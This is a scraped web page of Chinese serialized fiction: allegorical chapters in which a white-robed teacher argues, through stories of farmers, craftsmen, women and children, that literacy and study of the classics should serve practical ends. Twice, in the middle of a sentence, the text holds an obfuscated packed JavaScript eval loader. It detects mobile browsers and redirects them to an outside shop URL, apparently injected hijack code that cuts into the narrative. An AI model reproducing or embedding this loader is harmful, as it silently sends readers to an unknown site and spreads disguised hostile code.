“……惟书学,人共遵。既识字,讲说文。有古文,大小篆。隶草继,不可乱。此乃识字之本!凡识字,必先明六书:象形、指事、会意、形声、转注、假借。不明六书,不得谓识字!既明六书,乃可讲《说文》,识古文、大篆、小篆,知隶书、草书之变。此乃学问根基,不可不严!” 台下多是带着孩童来买蒙书的父母,也有几个在街边代写书信的落魄书生。卖炊饼的刘大郎牵着儿子阿毛,低声道:“孟先生说得是。阿毛开蒙,得先学六书,再认字,不然就是瞎认。” 邻旁卖菜的孙二嫂撇嘴道:“哪有这般麻烦?咱们庄稼人,识得几个字,会写名字、会算账就行了,还讲什么古文篆隶?” 孟守听见了,提高声音道:“此大谬也!书学乃学问之基,岂可苟且?凡训蒙,须讲究。详训诂,明句读。为学者,必有初。小学终,至四书。若不详训诂,胡乱识字,则根基不牢,日后读《四书》《五经》,必谬误百出!” 他指着街边几个代写书信的书生:“你看那几位,便是幼时识字不严,训诂不明,如今只会代人写信,学问上一事无成。可叹!可叹!” 那几个书生面红耳赤,低头不语。 这时,翰墨街尽头的老槐树下,传来一个温和的声音:“孟先生此言,未免苛严了。” 众人望去,见一人倚树而立。斗笠是细竹与柳条混编,檐边垂着几缕兰草。白衣是粗麻所制,洗得发白,袖口有两块靛青补丁。腰间悬一柄木剑,剑穗是褪色的五色丝绦。面上蒙着本色棉纱,只露出一双明澈如静水的眼睛。 孟守经眉头微皱:“这位先生,何处苛严?” 那人缓步走到高台下,对众人略一拱手:“惟书学,人共遵。既识字,讲说文。有古文,大小篆。隶草继,不可乱。此话不错。然孟先生说‘不明六书,不得谓识字’、‘不详训诂,胡乱识字,则根基不牢’,却是苛严了。” “苛严?”孟守经不悦,“识字乃学问根基,岂可不严?” “识字是学,学之用,在明理,在应事。”那人声音平和,“农人识字,为记账、看契;工匠识字,为看图、记工;妇人识字,为记账、读信;商贩识字,为算账、立约。彼等识字,明其用即可,何必必明六书?何必必讲《说文》?何必必识古文篆隶?” 他环视众人:“孟先生说‘凡训蒙,须讲究。详训诂,明句读’。然训蒙是教孩童,孩童天性,喜简厌繁。若开蒙便教六书、训诂,孩童生畏,反失学趣。不如先教常用字,使其能读能写,明日常用。待其年长,若有志于学,再教六书、训诂不迟。强求孩童必明六书,必详训诂,是以繁文缚童心,非是明师所为。” 孟守经面色一沉:“你这是妄解书学!《说文解字》序云:‘盖文字者,经艺之本,王政之始。’” “《说文》所言,是言文字之重,非是言学法之固。”那人道,“我闻古时仓颉造字,本为记事。初造之字,象形指事而已,岂有六书之分?后因用而繁,乃有会意、形声、转注、假借。是先用后法,非先法后用。又闻古时乡塾教蒙,先教《急就篇》《凡将篇》,皆是常用字,待孩童识得数百字,再教六书。是先用后理,非先理后用。学是为人所用,非人为学所缚。若以六书为铁则,强求必明,强求必详,是以繁文废实用,非是古人本意。” 他走到一个书摊前,拿起一本《千字文》,对众人道:“今日上巳,我给大家讲几个故事。” 一、 农人识字的故亊 “先说农人识字。”那人翻开《千字文》。 “东村有老农,姓陈,目不识丁。其子入城学徒,寄信回家,老农需请人读信。后老农发愤,向村塾先生求学。先生欲先教六书,老农曰:‘我但欲识字,能读子信,能记账目足矣。’先生遂教常用字。三月,老农能读子信,能记账目。又三年,老农自学,竟能读《农书》,改良田法,收成倍之。村人问:‘你未学六书,如何能读《农书》?’老农笑曰:‘字之用,在明理。既明常用字,遇生字,查《字汇》即可,何必先学六书?’” 他看向孟守经:“农人识字,为用而已。能读信记账,能读《农书》改良田法,便是识字。何必必明六书?” 二、 工匠识字的故亊 “再说工匠识字。”那人又拿起一本《百家姓》。 “西街有木匠李师傅,只识得自家姓氏与数字。后接大活,需看图纸。图纸上有字,李师傅不识,误了工期。遂向街边代写书信的书生求学。书生欲先教训诂,李师傅曰:‘我但欲识字,能看图识字足矣。’书生遂教图纸常用字。两月,李师傅能看图纸。后自学,竟能读《营造法式》,技艺大进。同行问:‘你未学训诂,如何能读《营造法式》?’李师傅笑曰:‘字之用,在应事。既明图纸字,遇生字,问人即可,何必先学训诂?’” 他看向那几个代写书信的书生:“工匠识字,为用而已。能看图纸,能读工艺书,便是识字。何必必详训诂?” 三、 妇人识字的故亊 “三说妇人识字。”那人取过一本《三字经》。 “南巷有王寡妇,织布为生,一字不识。其子入学,需签字据,王寡妇只能按手印,常受欺。后发愤,向邻家绣娘求学。绣娘欲先教《说文》,王寡妇曰:‘我但欲识字,能签字据,能看布价单足矣。’绣娘遂教日常用字。四月,王寡妇能签字据,能看布价单。后自学,竟能读《织经》,改良织法,所织之布,质佳价廉。邻妇问:‘你未学《说文》,如何能读《织经》?’王寡妇笑曰:‘字之用,在自立。既明日常字,遇生字,查《字汇》即可,何必先学《说文》?’” 他看向孙二嫂:“妇人识字,为用而已。能签字据,能看价单,能读工艺书,便是识字。何必必讲《说文》?” 四、 商贩识字的故亊 “四说商贩识字。”那人放下《三字经》。 “北市有贩枣老赵,只识得数字与‘枣’字。后贩枣至外乡,需立契约,老赵不识字,吃了大亏。遂发愤,向账房先生求学。账房欲先教古文篆隶,老赵曰:‘我但欲识字,能看契约,能算账目足矣。’账房遂教契约常用字。三月,老赵能看契约,能算账目。后自学,竟能读《货殖列传》,生意愈大。同行问:‘你未学古文篆隶,如何能读《货殖列传》?’老赵笑曰:‘字之用,在明约算账。既明契约字,遇生字,问人即可,何必先学古文篆隶?’” 他看向街上商贩:“商贩识字,为用而已。能看契约,能算账目,能读商书,便是识字。何必必识古文篆隶?” 五、 孩童开蒙的故亊 “最后说孩童开蒙。”那人走到刘大郎身边,摸了摸阿毛的头。 “城中蒙馆有师徒。师教蒙童,必先六书,详训诂,明句读。童畏其繁,多逃学。后馆中来一新师,先教《千字文》,以歌谣授之。童喜其易,乐学。半年,童识数百字,能读浅近诗文。师再教六书,童因已识字,反易明。三年后,此馆童生,多能文。老生问新师:‘你不先教六书,童生如何能明字理?’新师笑曰:‘童蒙之心,喜简厌繁。先教常用字,使其能读能写,有成就感,乃生学趣。待其识数百字,再教字理,如水到渠成。若开蒙即教六书训诂,童畏其难,恐终身厌学。’” 他看向孟守经:“孟先生,训蒙是引路,非是设障。孩童识字,为读书明理。先教常用字,使其能读能写,乃引其入门。待其入门,再教字理,方是正途。若开蒙即设六书、训诂之障,是阻其入门,非是引路。” 六、 上巳的余韵 五个故事讲完,翰墨街上一片寂静。春风拂过,书页轻翻。 孟守经沉默良久,缓缓起身,对那人深揖一礼:“先生……先生说得是。老朽苛求字理,以繁文缚实用,误人误己。这书学之道,当以用为本,以人为要。识字在明理应事,非在必明六书;训蒙在引路入门,非在详训诂、明句读。” 他转向众人,声音发颤:“从今往后,书学会当重实用,轻繁文。农人识字,能读信记账、读农书即可;工匠识字,能看图识字、读工艺书即可;妇人识字,能签字据、看价单、读女书即可;商贩识字,能看契约、算账目、读商书即可;孩童开蒙,先教常用字,使其能读能写,有学趣,再教字理。如此,方是真书学!” 众人先是一愣,随即哗然。刘大郎喜道:“那阿毛开蒙,不必先学六书了!” 孙二嫂也道:“咱们妇人识字,也不必先学《说文》了!” 那几个代写书信的书生,相视苦笑。其中一人叹道:“早知如此,当年何必苦学六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187100|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书训诂?先学常用字,能代写信,再学字理,岂不更好?” 那人拱手道:“今日上巳,愿列位明学之用。书学是学,学为人用。莫让繁文碍实用,莫让苛法缚人心。识字在明理应事,训蒙在引路入门。因用而学,因趣而教,方是治学之道。” 说罢,他戴上斗笠,走下高台。柳条斗笠在春风中轻颤,粗麻白衣的下摆扫过满街书页,不惹尘埃。 孟守经对着那背影又一揖,久久不起。 街上众人亦纷纷行礼。 上巳的日光透过槐叶,洒在翰墨街上。书摊前,农人翻看《农书》,工匠翻阅《营造法式》,妇人查阅《织经》,商贩研读《货殖列传》,孩童诵读《千字文》。书学之道,本在日用。何须苛严? 尾声书学新谣 次年上巳,淮扬城流传开一首新谣: 惟书学,人共遵。既识字,在日用。 孟师苛严讲六书,农工匠妇皆生畏。 白衣先生讲故事,书学本在用与趣。 农人识字为读信,工匠识字为看图。 妇人识字为签字,商贩识字为看约。 孩童开蒙先识字,再教字理方入门。 从此淮扬知书学,因用而学方是真。 有人问那白衣先生姓名,翰墨街的老人会说:“那位先生姓学,名用,字宜之。他教咱们,学是为人用,用宜则成。” 书学会后来变了——农人来学,教农书常用字;工匠来学,教工艺书常用字;妇人来学,教女书常用字;商贩来学,教商书常用字;孩童开蒙,先教《千字文》《百家姓》,待其识数百字,再教六书训诂。书学不再是士子专有,而成了万民可学之艺。 而那位学宜之先生,早已走向下一个需要点化的地方。他走过之处,繁文渐消,实用渐显。就如这上巳的春风,吹过翰墨街,吹过淮扬城,吹进千家万户,将那些过于苛严的字理,轻轻吹散在书香里。 本章诫世 一、 书学真义训 - 惟书学,人共遵。既识字,讲说文。有古文,大小篆。隶草继,不可乱。若广学,惧其繁。但略说,能知原。凡训蒙,须讲究。详训诂,明句读。为学者,必有初。小学终,至四书 - 破解法:治学者,自问“学为人用,还是人为学缚?可因用而学,因趣而教?可苛求字理,碍其实用?” 二、 五误五正 - 农人之误在“畏难”——以为必明六书方为识字,故不敢学 - 工匠之误在“惧繁”——以为必详训诂方为识字,故不愿学 - 妇人之误在“自轻”——以为必讲《说文》方为识字,故不求学 - 商贩之误在“畏严”——以为必识古文篆隶方为识字,故不想学 - 训蒙之误在“苛严”——开蒙即教六书训诂,童畏其难 - 五正:农人识字为读信记账、读农书;工匠识字为看图识字、读工艺书;妇人识字为签字据、看价单、读女书;商贩识字为看契约、算账目、读商书;孩童开蒙先教常用字,再教字理。因用而学,因趣而教,方是书学真义 三、 宜之大道 - 深层隐喻:书学是学,学之用,在明理,在应事。识字是手段,明理应事是目的。农人识字为农事,工匠识字为工事,妇人识字为家事,商贩识字为商事,孩童识字为读书明理。若以六书训诂为铁则,强求必明,强求必详,是以繁文缚实用,以苛严碍人心。真学是为人用,非为人缚 - 终极指向:世人重字理,易入歧途:重理轻用,重法轻人。书学是学,学之本在用。用当因人因事而异,方是治学之道。莫让繁文碍实用,莫让苛严挫人心。字理是基,实用是道,用宜则成 书学偈: 淮扬上巳说书学,孟师苛严讲字理。 六书训诂为铁则,农工匠妇皆生畏。 学宜先生讲故事,书学本在用与趣。 从此识字为日用,开蒙先易后教理。 后世叹: 惟书学,人共遵。既识字,在日用。 孟师重理轻实用,农工匠妇皆畏难。 白衣点化用为宜,书学在人不苛严。 上巳翰墨听故事,淮扬学风得真传。 正是: 上巳翰墨说书学,孟师苛严轻实用。 六书训诂成枷锁,农工匠妇皆畏途。 白衣先生讲故事,书学本在用与趣。 从此识字为日用,淮扬学风入万家。 112.经学谳 楔子·中秋经会 八月十五中秋夜,临安城中“崇经堂”前广场上,正举办“经学会”。场中搭了六个高台,分别讲论《论语》《孟子》《大学》《中庸》《孝经》《六经》。主台上,坐着“崇经堂”堂主、大儒朱守正,年逾古稀,银髯垂胸,着深青色儒服,正襟危坐。 “……《论语》二十篇,乃孔子门人所记夫子善言,字字珠玑。《孟子》七篇,言道德、说仁义,乃儒学正脉。《大学》乃曾子所述,自修齐至平治,是儒学阶梯。《中庸》乃子思所作,中不偏,庸不易,是儒学心法。《孝经》通晓,再熟《四书》,方可读《六经》——《诗》《书》《易》《礼》《春秋》。此乃为学次第,不可紊乱!” 台下听众多是读书人,也有几个带孩童来“沾文气”的市井百姓。卖糕饼的吴老贵抱着孙子阿宝,悄声对旁人道:“朱堂主说得是。读书就该按这个次序来,先《四书》,后《六经》,一步不能错。” 邻座绸缎庄的账房周先生却摇头道:“哪有这般死板?我幼时先读《诗经》,后读《论语》,不也考了秀才?” 台上朱守正听见了,眉头一皱,提声道:“此大谬也!《四书》乃儒学根基,《六经》乃儒学殿堂。不先通《四书》,遽读《六经》,如登楼不阶,必坠无疑!譬如建屋,不先筑基,遽起梁柱,必倾覆也!” 他指着场中六个高台,肃然道:“今日经学会,便是要正本清源!《论语》台,须先讲‘学而’篇,次讲‘为政’篇,依朱子《集注》逐字讲解,不得紊乱;《孟子》台,须先讲‘梁惠王’篇,次讲‘公孙丑’篇,依赵岐《章句》逐段阐释,不得跳越;《大学》台,须先讲‘三纲领’,次讲‘八条目’,依程子本,不得用古本;《中庸》台,须先讲‘天命’,次讲‘率性’,依朱子《章句》,不得妄解;《孝经》台,须先讲‘开宗明义’,次讲‘天子’章,依唐明皇注,不得用郑注;《六经》台,须先讲《诗经》,次讲《尚书》,依《十三经注疏》,不得淆乱。此乃圣学正脉,一丝一毫错不得!” 众人凛然。这时,场边桂花树下传来一个清朗声音:“朱堂主此言,未免执着了。” 众人望去,见一人倚树而立。斗笠是细竹与桂枝混编,檐边缀着几簇金桂。白衣是细麻所制,洗得发白,肘部有两块靛青补丁。腰间木剑的剑穗,是褪色的五色丝绦打着如意结。面上蒙着本色棉纱,只露出一双明澈如秋月的眼睛。 朱守正面色一沉:“这位先生,何处执着?” 那人缓步走入场中,对众人拱手道:“《论语》二十篇,群弟子记善言。《孟子》七篇止,讲道德,说仁义。作《中庸》,乃孔伋,中不偏,庸不易。作《大学》,乃曾子,自修齐,至平治。《孝经》通,《四书》熟,如《六经》,始可读。《诗》《书》《易》,《礼》《春秋》,号六经,当讲求。此话不错。然朱堂主说‘必先《四书》,后《六经》’、‘必依某注某本,不得紊乱跳越’,却是执着了。” “执着?”朱守正不悦,“圣学自有次第,岂可紊乱?” “学是明理,理在人心。”那人声音平和,“《四书》言修身齐家,《六经》载先王之道,皆是教人明理向善。农人读《论语》‘己所不欲,勿施于人’,可明待人接物之道;读《诗经》‘七月流火,九月授衣’,可知农时天象。何必定要先《四书》后《六经》?工匠读《孟子》‘穷则独善其身’,可明立身之则;读《尚书》‘若作梓材,既勤朴斫’,可知工匠之道。何必拘泥次第?” 他环视众人:“朱堂主说讲经必依某注某本,不得紊乱。然《论语》一句‘学而时习之’,朱注解为‘学而又时时习之’,汉注解为‘学而适时习之’,郑注解为‘学而时时实习之’。三解皆通,何必定依朱注?《孟子》一句‘恻隐之心’,赵岐解为‘怜悯之心’,孙奭解为‘同情之心’,焦循解为‘仁之端也’。三解皆善,何必定依赵注?强求必依某注,是舍本逐末,以注害经。” 朱守正脸色发青:“你这是妄解圣学!朱子《集注》乃圣学正宗,岂容置疑?” “朱子《集注》自是精妙,然非唯一正解。”那人道,“我闻古时孔子教弟子,因材施教。子路勇,教以慎行;冉有谦,教以进取。同是《论语》,所教不同。又闻汉时经学,有今文古文之争,各家各解,皆有所本。学是明理,非是背书;经是载道,非是条文。若强求必依某注,必按某序,是以注疏缚人心,非是圣人本意。” 他走到《论语》台前,拿起一卷《论语》,对众人道:“今日中秋,月圆人聚,我给大家讲几个故事。” 一、 农人读经的故事 “先说农人读经。”那人翻开《论语》。 “东乡有老农,姓田,不识字。其子入城读书,寄回《论语》一册。田老汉请村塾先生教读,先生欲从‘学而’篇讲起,依朱注逐字讲解。田老汉曰:‘我但欲明做人道理,先生但讲易懂的。’先生遂讲‘己所不欲,勿施于人’、‘其身正,不令而行’。田老汉听罢,恍然大悟,待人愈发宽厚,治家愈发公正。后自学,竟能解《诗经·七月》,按节气耕作,收成倍之。村人问:‘你未先通《四书》,如何能解《诗经》?’田老汉笑曰:‘经是道理,道理相通。我先明做人理,再明农时理,有何不可?’” 他看向朱守正:“农人读经,为明理而已。能明做人道理,能明农时道理,便是读经。何必必先《四书》后《六经》?” 二、 工匠读经的故事 “再说工匠读经。”那人又拿起《孟子》。 “西街有石匠郑师傅,略识几字。听人说《孟子》好,借来一读。开卷是‘梁惠王’篇,读不懂。遂翻到‘离娄’篇,见‘离娄之明,公输子之巧’,大喜,因公输子即鲁班,是工匠祖师。从此爱读《孟子》,尤喜‘梓匠轮舆能与人规矩,不能使人巧’等句。后读《尚书》,见‘若作梓材,既勤朴斫’,更明工匠之道。技艺大进,成一方名匠。同行问:‘你未依序读经,如何能进?’郑师傅笑曰:‘经是道理,何处明白,便从何处读。何必定要从头?’” 他看向场中工匠:“工匠读经,为明道而已。能明祖师之道,能明技艺之道,便是读经。何必必依序而读?” 三、 妇人读经的故事 “三说妇人读经。”那人取过《大学》。 “南巷有张寡妇,织绢为生。其子入蒙馆,带回《大学》册子。张寡妇夜织时,听子诵读,尤喜‘修身齐家’之语。遂请教馆师,馆师欲从‘三纲领’讲起,依程子本。张寡妇曰:‘我但欲明修身齐家道理,先生但讲易懂的。’馆师遂讲‘欲治其国者,先齐其家;欲齐其家者,先修其身’。张寡妇听罢,治家愈严,教子愈勤。后自学,竟能解《诗经·葛覃》,按古法染绢,绢色愈佳。邻妇问:‘你未先通《四书》,如何能解《诗经》?’张寡妇笑曰:‘经是道理,道理相通。我先明齐家理,再明织染理,有何不可?’” 他看向场中妇人:“妇人读经,为齐家而已。能明修身齐家道理,能明女工道理,便是读经。何必必依程子本?” 四、 商贩读经的故事 “四说商贩读经。”那人放下《大学》,拿起《中庸》。 “北市有贩茶老钱,粗通文墨。听人说《中庸》讲‘中和’,遂借来一读。开卷是‘天命之谓性’,读不懂。遂翻到中间,见‘君子中庸,小人反中庸’,问人后明白:‘中庸是不偏不倚’。从此经营,不欺不诈,价钱公道,生意愈隆。后读《春秋》,见‘宋人及楚人平’,更明和合之道。行商四方,皆得人和。同行问:‘你未先通《四书》,如何能读《春秋》?’老钱笑曰:‘经是道理,何处有用,便从何处读。何必定要通《四书》?’” 他看向场中商贩:“商贩读经,为行商而已。能明中和之道,能明和合之道,便是读经。何必必先熟《四书》?” 五、 童子开蒙的故事 “最后说童子开蒙。”那人走到吴老贵身边,摸了摸阿宝的头。 “城中有蒙馆两所。甲馆师教蒙童,必先《孝经》,次《四书》,依朱注逐字讲解。童畏其难,多困倦。乙馆师教蒙童,先以《论语》中‘有朋自远方来,不亦乐乎’、‘三人行必有我师’等易懂句教之,童喜其趣。待童有兴趣,再教《孝经》《大学》《中庸》。三年后,乙馆童生,多能文,且明理。甲馆师问乙馆师:‘你不依序而教,童生如何能通?’乙馆师笑曰:‘童蒙之心,喜易畏难。先以易懂句引其趣,待其有兴趣,再教深理,如水到渠成。若开蒙即教深奥,童畏其难,恐终身厌学。’” 他看向朱守正:“朱堂主,教是引路,非是设障。童子读经,为明理向善。先以易懂句引其趣,乃引其入门。待其入门,再教全书,方是正途。若开蒙即教必依某注、必按某序,是阻其入门,非是引路。” 六、 中秋的余晖 五个故事讲完,场中一片寂静。明月当空,桂香浮动。 朱守正沉默良久,缓缓起身,对那人深揖一礼:“先生……先生说得是。老朽执着次序,以注疏缚人心,误人误己。这经学之道,当以明理为本,以人为要。读经在明理向善,非在必依某序;讲经在使人明白,非在必依某注。” 他转向众人,声音发颤:“从今往后,崇经堂当重明理,轻次序。农人读经,可先读易懂句,明做人道理、农时道理;工匠读经,可从有关处读起,明祖师之道、技艺之道;妇人读经,可先读齐家句,明修身齐家道理、女工道理;商贩读经,可先读有用句,明中和之道、和合之道;童子开蒙,先以易懂句引其趣,再教全书。注疏各家,可参酌比较,择善而从。如此,方是真经学!” 众人先是一愣,随即哗然。吴老贵喜道:“那阿宝开蒙,不必先苦读《孝经》了!” 周先生也道:“我等读书,也不必死守朱注了!” 那几个原本正襟危坐的讲经先生,相视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190857|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦笑。其中一人叹道:“早知如此,当年何必死记次序注疏?先明道理,再求深解,岂不更好?” 那人拱手道:“今日中秋,月圆人圆,愿列位明学之道。经学是学,学在明理。莫让次序碍明理,莫让注疏缚人心。读经在明理向善,讲经在使人明白。因材施教,因趣而导,方是治学之道。” 说罢,他戴上斗笠,转身走入人群。桂枝斗笠在月下泛着银光,细麻白衣的下摆扫过满地桂影,不惹尘埃。 朱守正对着那背影又一揖,久久不起。 场中众人亦纷纷行礼。 中秋的明月洒在崇经堂前。六个高台上,讲经先生们不再固守次序:《论语》台从“三人行必有我师”讲起,《孟子》台从“恻隐之心”讲起,《大学》台从“修身齐家”讲起,《中庸》台从“中庸之道”讲起,《孝经》台从“孝悌之至”讲起,《六经》台从《诗经》“关关雎鸠”讲起。听者愈众,时而会心而笑。 经学之道,本在明理。何须执着? 尾声·经学新谣 次年中秋,临安城流传开一首新谣: 论语孟子大学庸,孝经六经皆载道。 朱师执着次序注,农工匠妇皆生畏。 白衣先生讲故事,经学本在明理善。 农人读经明做人,工匠读经明师道。 妇人读经明齐家,商贩读经明中和。 童子开蒙先引趣,再教全书方是途。 从此临安知经学,因材施教明理真。 有人问那白衣先生姓名,崇经堂的老人会说:“那位先生姓经,名理,字明之。他教咱们,经是载道,道在明理,理在人心。” 崇经堂后来变了——农人来听,讲《论语》待人接物之道、《诗经》农时之道;工匠来听,讲《孟子》祖师之道、《尚书》工匠之道;妇人来听,讲《大学》齐家之道、《诗经》女工之道;商贩来听,讲《中庸》中和之道、《春秋》和合之道;童子开蒙,先以易懂句引趣,再教全书。经学不再是士子专有,而成了万民可明之理。 而那位经明之先生,早已走向下一个需要点化的地方。他走过之处,执着渐消,明理渐显。就如这中秋的明月,照过崇经堂,照过临安城,照进千家万户,将那些过于僵硬的次序,轻轻拂散在清辉里。 本章诫世 一、 经学真义训 - 论语者,二十篇。群弟子,记善言。孟子者,七篇止。讲道德,说仁义。作中庸,乃孔伋。中不偏,庸不易。作大学,乃曾子。自修齐,至平治。孝经通,四书熟。如六经,始可读。诗书易,礼春秋。号六经,当讲求 - 破解法:治经者,自问“学为明理,还是为次序?可因材施教,因趣而导?可执着注疏,碍人明理?” 二、 五误五正 - 农人之误在“畏序”——以为必先《四书》后《六经》,故不敢读 - 工匠之误在“惧注”——以为必依某注某本,故不愿读 - 妇人之误在“轻己”——以为经学深奥,女子不宜,故不求读 - 商贩之误在“畏难”——以为必通《四书》方读《六经》,故不想读 - 训蒙之误在“固序”——开蒙即教必依次序,童畏其难 - 五正:农人读经为明做人道理、农时道理;工匠读经为明祖师之道、技艺之道;妇人读经为明齐家之道、女工之道;商贩读经为明中和之道、和合之道;童子开蒙先以易懂句引趣,再教全书。因材施教,因趣而导,方是经学真义 三、 明之大道 - 深层隐喻:经学是学,学之用,在明理,在向善。《论语》记善言,《孟子》说仁义,《大学》言修齐,《中庸》讲中和,《孝经》通孝悌,《六经》载先王之道,皆是教人明理向善。若强求必依某序,必从某注,是以次序缚人心,以注疏碍明理。真学是明理,非是背书;真经是载道,非是条文 - 终极指向:世人重经学,易入歧途:重序轻理,重注轻道。经学是学,学之本在明理。理当因人因事而异,方是治学之道。莫让次序碍明理,莫让注疏缚人心。经是舟,理是岸,明理方是到岸 经学偈: 临安中秋说经学,朱师执着次序注。 先四书后六经,农工匠妇皆畏途。 经明先生讲故事,经学本在明理善。 从此读经为明理,因材施教趣为先。 后世叹: 论语孟子大学庸,孝经六经皆载道。 朱师重序轻明理,农工匠妇皆生畏。 白衣点化理为要,经学在人不执着。 中秋崇经听故事,临安学风得真传。 正是: 中秋崇经说圣学,朱师执着次序注。 先四书后六经,农工匠妇皆畏途。 白衣先生讲故事,经学本在明理善。 从此读经为日用,临安学风入万家。 113.三易谳 楔子·腊八经市 腊月初八,金陵城西“经市”开张。这经市三年一开,专售古书珍本。街两旁书铺栉比,摊贩云集。有卖《连山》《归藏》残卷的,有售《周易》注疏的,有陈《尚书》典谟训诰的,有列《周礼》《礼记》各版的,有摆《诗经》国风雅颂的。书商呼喝,学者争购,好不热闹。 街心“博古斋”前,设一高台。台上坐着金陵“经学世家”传人、鸿儒郑玄同,年约五旬,戴方巾,着紫袍,正拈须宣讲: “《易》有三:《连山》以艮为首,象山之出云;《归藏》以坤为首,象万物归藏;《周易》以乾为首,象天道周流。此三《易》,包罗万象,非大贤不能通!《书》有六体:典、谟、训、诰、誓、命,文辞古奥,非硕学不能解!《周礼》六官,乃周公治世之法;《礼记》述圣言,乃大小戴传礼之经;《诗经》风雅颂,乃圣人教化之典。此皆圣人之学,不可不精研!” 台下听众多是书生学子,也有几个附庸风雅的富商。绸缎商钱百万挤在人群中,悄问旁人道:“郑先生说的《连山》《归藏》,何处可购?我愿出千金!” 旁座古董商赵掌柜嗤道:“你购去作甚?那《连山》《归藏》早已失传,现下市上所售,多是伪作。便是不伪,你读得懂么?” 台上郑玄同听见,眉头一皱,提声道:“赵掌柜此言差矣!三《易》虽古奥,然有志者事竟成。昔孔子读《易》,韦编三绝;朱子注《易》,皓首穷经。今人但肯用功,何愁不通?至于真伪——我郑家藏有《连山》残卷三篇、《归藏》残卷五篇,乃祖传珍本,岂是伪作?” 他起身,从袖中取出两卷竹简,展开示众:“诸位请看,此乃《连山》首篇‘艮象’,此乃《归藏》首篇‘坤德’,皆用古篆,字字珠玑!此等圣人之学,当焚香沐浴,恭敬诵读,岂可轻言真伪?” 众人伸颈观看,只见竹简古旧,字迹模糊,确似古物。几个老学究啧啧称奇。 这时,街角粥棚下传来一个清越声音:“郑先生此举,未免胶柱了。” 众人望去,见一人坐在粥棚长凳上,正捧着一碗腊八粥。斗笠是细篾与松枝混编,檐边缀着几粒红豆。白衣是粗麻所制,洗得泛黄,膝头有两块靛青补丁。木剑横放膝上,剑穗是褪色的五色丝绦打着平安结。面上蒙着本色棉纱,只露出一双明澈如寒星的眼睛。 郑玄同面色一沉:“这位先生,何处胶柱?” 那人放下粥碗,缓步走到台前,对众人拱手道:“有《连山》,有《归藏》。有《周易》,三《易》详。有典谟,有训诰。有誓命,书之奥。我周公,作《周礼》。著六官,存治体。大小戴,注《礼记》。述圣言,礼乐备。曰国风,曰雅颂。号四诗,当讽咏。此话不错。然郑先生说‘此皆圣人之学,非大贤不能通、非硕学不能解’,却是胶柱了。” “胶柱?”郑玄同冷笑,“圣学精深,岂是常人可通?” “学是明道,道在日用。”那人声音平和,“《易》言阴阳变化,农人观天时,工匠察物性,商人看行情,皆暗合《易》理,何必必读《连山》《归藏》?《书》载先王言行,长者教子弟,师傅传技艺,乡老理纠纷,皆暗合《书》义,何必必解典谟训诰?《礼》定人伦秩序,父子有亲,夫妇有别,长幼有序,朋友有信,皆暗合《礼》意,何必必通《周礼》《礼记》?《诗》抒人情志,农夫唱秧歌,织女吟机杼,舟子呼号子,皆暗合《诗》心,何必必讽风雅颂?” 他环视众人:“郑先生以古简为宝,然竹简是物,道在心。若只重古物,不重其道,是舍本逐末,以物蔽心。” 郑玄同脸色发青:“你这是轻慢圣学!圣人之学,载于典籍,不读典籍,何以明道?” “典籍是舟,道是彼岸。”那人道,“我闻古时伏羲画卦,并无文字,人观卦象而明天地之理。又闻周公制礼,本为治世,非为着书。大小戴注《礼记》,亦是因时损益。学是明道,非是藏书;道在人心,非在竹帛。若只重古本,不重其道,是以物役心,非是圣人本意。” 他走到一个卖《诗经》的摊前,拿起一卷《国风》,对众人道:“今日腊八,岁寒粥暖,我给大家讲几个故事。” 一、 老农观天的故事 “先说老农观天。”那人翻开《国风》。 “北山有老农姓秦,不识字。每岁春耕,夜观星象,见参星在东南则下秧,见北斗柄指东则种豆,从无差错。有书生问:‘老丈可读过《连山》?《连山》以艮为首,艮为山,山出云,云行雨施。’老农笑曰:‘老汉不识字,但知参星东南,春雨将至;北斗指东,地气已动。此乃天时,与那《连山》何干?’书生愕然。后老农寿八十,无疾而终。临终谓子孙:‘观天在目,在心,不在书。’” 他看向郑玄同:“老农观天,合《易》理而不读《易》。道在天地,何必必求竹帛?” 二、 乡老断事的故事 “再说乡老断事。”那人又拿起《尚书》。 “南山有乡老姓孟,不读书。乡里有争田者,各执一词。孟老召二人至祠堂,曰:‘尔等各言其理。’甲言先祖垦荒,乙言地契为凭。孟老沉吟片刻,判曰:‘甲垦荒有功,得三成;乙有契为凭,得七成。此后和睦,勿再争。’二人皆服。有秀才问:‘孟老可读过《尚书》?《尚书》有典谟训诰,载先王断狱之法。’孟老笑曰:‘老朽不读书,但知情理。垦荒有功当赏,有契为凭当尊,此乃公道,与那《尚书》何干?’秀才惭而退。” 他看向台下乡绅:“乡老断事,合《书》义而不解《书》。道在情理,何必必求典籍?” 三、 邻里和睦的故事 “三说邻里和睦。”那人放下《尚书》。 “西巷有十余户,杂居百年。张家有喜,李家帮厨;王家有难,赵家借粮。春夏共用井,秋收互帮工。有儒生见之,叹曰:‘此合《周礼》邻里相恤之制,诸君可读过《周礼》?’众人笑曰:‘咱们不识字,但知邻里如亲。张家有喜,自然要帮;王家有难,自然要助。此乃人情,与那《周礼》何干?’儒生默然。后此巷百年无讼,人称‘仁里’。” 他看向众人:“邻里和睦,合《礼》意而不通《礼》。道在人情,何必必求经书?” 四、 船夫号子的故事 “四说船夫号子。”那人走到一个卖《乐经》的摊前。 